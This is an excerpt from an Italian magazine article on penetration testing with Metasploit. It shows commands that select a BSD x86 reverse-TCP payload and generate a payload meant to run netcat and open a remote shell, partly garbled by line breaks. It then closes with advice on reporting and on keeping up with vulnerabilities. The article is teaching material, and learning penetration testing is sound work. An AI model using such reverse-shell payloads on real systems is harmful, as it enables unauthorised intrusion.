
PC robusto? Un penetration test e lo scopri subito
Solo un’analisi accurata delle vulnerabilità può dirti se un computer e la LAN a cui appartiene sono adeguatamente protetti contro exploit e attacchi di altro tipo
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use bsd/x86/exec/reverse_tcp
Successivamente creiamo il nostro payload che dovrà, su architettura x86 e sistema BSD, eseguire il comando Netcat e aprire una shell remota:
generate –o LHOST=127.0.0.1,LPORT=7777,RHOST=
1.1.1. 1,RPORT=9999,CMD=netcat –e x86/jmp_call
_additive –b ‘\x00\xff’ –t c
Gli esempi riportati nel corso dell’articolo hanno scopo puramente didattico,
quindi, senza alcun riscontro concreto. Per un utilizzo e mirato
del framework in modo tale da poter eseguire test d’intrusione accurati
rimandiamo al sito ufficiale del progetto dove è possibile trovare documentazione
sull’argomento.
Tiriamo le somme
Da quanto detto fin qui, è chiaro che le strade da seguire per poter
effettuare un Penetration Test sono numerose e dipendono da esigenze
soggettive. Noi ne abbiamo mostrato solo alcune, anche se selezionate
tra quelle più diffuse e potenti. I tool messi a disposizione, sono tutti
molto efficaci e potenti, e se utilizzati correttamente, in grado di fornire
ottimi risultati. Un buon amministratore di sistema non può prescindere
dall’uso di questi strumenti che gli permettono di testare a fondo
e rapidamente i servizi offerti e valutare rischi e pericoli. Così facendo,
è possibile anticipare eventuali attacchi e studiare le strategie di
difesa corrette. Inoltre, bisogna essere sempre aggiornati sulle nuove
vulnerabilità scoperte consultando periodicamente siti specializzati o
iscrivendosi a newsletter specifiche in modo da avere sempre chiara la
situazione sicurezza. Un buon punto di riferimento è il sito dell’OWASP
“ The free and open application security community”(www.owasp.
org). Al termine di una sessione di test è sempre necessario stilare un
report dettagliato nel quale sono evidenziati i bug riscontrati e le problematiche
rilevate a livello di rete, di applicativi e di servizi. Inoltre,
nel report è buona norma inserire sempre nel dettaglio la strategia migliore
per riparare le falle individuate o almeno come poterle isolare.
Infine, deve sempre essere documentato l’intero processo di “intrusione”,
le tecniche utilizzate e l’eventualità di reperire materiale (codice
o software) in rete.
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L’interfaccia di Metasploit |